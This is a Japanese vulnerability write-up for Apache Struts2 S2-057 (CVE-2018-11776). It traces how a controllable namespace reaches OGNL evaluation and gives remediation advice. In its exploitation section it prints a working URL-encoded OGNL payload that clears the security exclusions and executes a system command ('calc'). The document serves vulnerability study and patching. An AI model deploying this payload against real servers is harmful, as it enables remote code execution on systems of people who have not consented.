ホームページ  >  記事  >  運用・保守  >  Apache Struts2 S2-057 リモート コード実行の脆弱性分析を実行する方法

Apache Struts2 S2-057 リモート コード実行の脆弱性分析を実行する方法

PHPz
PHPz転載
2023-05-15 21:43:041955ブラウズ

はじめに

Apache Struts フレームワークは、Java Servlet、JavaBeans、および JavaServer Pages (JSP) の Web アプリケーション フレームワークに基づくオープン ソース プロジェクトです。Struts は、Model- View-Controller (MVC) パターンを使用して、複雑な Web アプリケーションを構築できます。これにより、アプリケーションのビジネス ロジック、制御ロジック、プレゼンテーション ロジックのコードを分解できるようになり、再利用性と保守性が向上します。 Struts フレームワークは Jakarta プロジェクトの一部であり、Apache Software Foundation によって管理されています。

Tianrongxin Alpha Lab は、Apache Struts2 S2-057 リモート コード実行の脆弱性分析を提供します~

1. 脆弱性の説明

Struts の場合.mapper.alwaysSelectFullNamespace が true に設定されており、パッケージ タブと結果のパラメータ タブの名前空間値が欠落しているか、ワイルドカードが使用されている場合、名前空間は制御でき、最終的に名前空間は実行のために OGNL ステートメントに取り込まれます。これにより、リモートでコードが実行される脆弱性が生じます。

1. 影響を受けるシステムのバージョン

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

2. 脆弱性 No.

CVE-2018-11776

2. 環境セットアップ

1. ダウンロード: http://archive.apache.org/dist/struts/2.3.34/ struts -2.3.34-all.zip

2. 設定ファイル struts-actionchaining.xml

を変更します。この脆弱性には、次のような複数の攻撃ベクトルがあります。

リダイレクト アクション

アクションチェーン

ポストバック結果

最初のものを例として、構成ファイルの内容を次のように変更します:

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

3. 脆弱性の詳細

DefaultActionMapper クラスの parseNameAndNamespace メソッド内。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

alwaysSelectFullNamespace が true に設定されている場合、名前空間の値は URL から取得されます。 URL は制御可能であるため、名前空間も制御可能です。

アクションが実行された後、プログラムは ServletActionRedirectResult クラスのexecute() メソッドを呼び出して、リダイレクト結果を解析します。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

まず、名前空間が空の場合、invocation.getProxy().getNamespace() を呼び出して変数名前空間に値を割り当て、変数名前空間を ActionMapping に渡します。コンストラクタ。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

次に、ActionMapper.getUriFromActionMapping() は、ActionMapping の後の値を再編成し、URL 文字列 (名前空間を含む) を生成し、それを tmplocation 変数に割り当てます。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

次に、名前空間を持つ tmplocation が setLocation() メソッドに渡されます。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

このメソッドは、tmpLocation 値を StrutsResultSupport クラスの location 変数に割り当てます。

次に、super.execute() メソッドをトレースします。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

引き続き、ServletActionResult クラスの super.execute() を追跡します。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

StrutsResultSupport クラスのexecute() メソッドでは、割り当てられたばかりの位置変数 (名前空間付き) がconditionalParse() メソッドに渡されます。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

最終的に、TextParseUtil.translateVariables() による名前空間の OGNL 解析により、リモートでコードが実行される脆弱性が発生しました。

4. 脆弱性の悪用

1. URL が /${(111 111)}/actionChain1.action であるアドレスにアクセスします。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

アクセスにより OGNL 式がトリガーされ、URL が /222/register2.action に変更され、脆弱性が存在します。

2. ペイロード:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d

このペイロードは、2.3 シリーズ バージョンにのみ適用されます。

如何进行Apache Struts2 S2-057远程代码执行漏洞分析

5. 修復の提案

1. 公式パッチ

現在、公式はこの脆弱性を修正する最新バージョンをリリースしています。ユーザーはできるだけ早く Apache Struts 2.3.35 または Struts 2.5.17 バージョンにアップグレードしてください: https://struts.apache.org/download.cgi#struts2517。

2. 手動修復

設定ファイルを変更します:

package タグの namespace 値と result の param タグを修正し、ワイルドカードの使用を禁止します。

以上がApache Struts2 S2-057 リモート コード実行の脆弱性分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。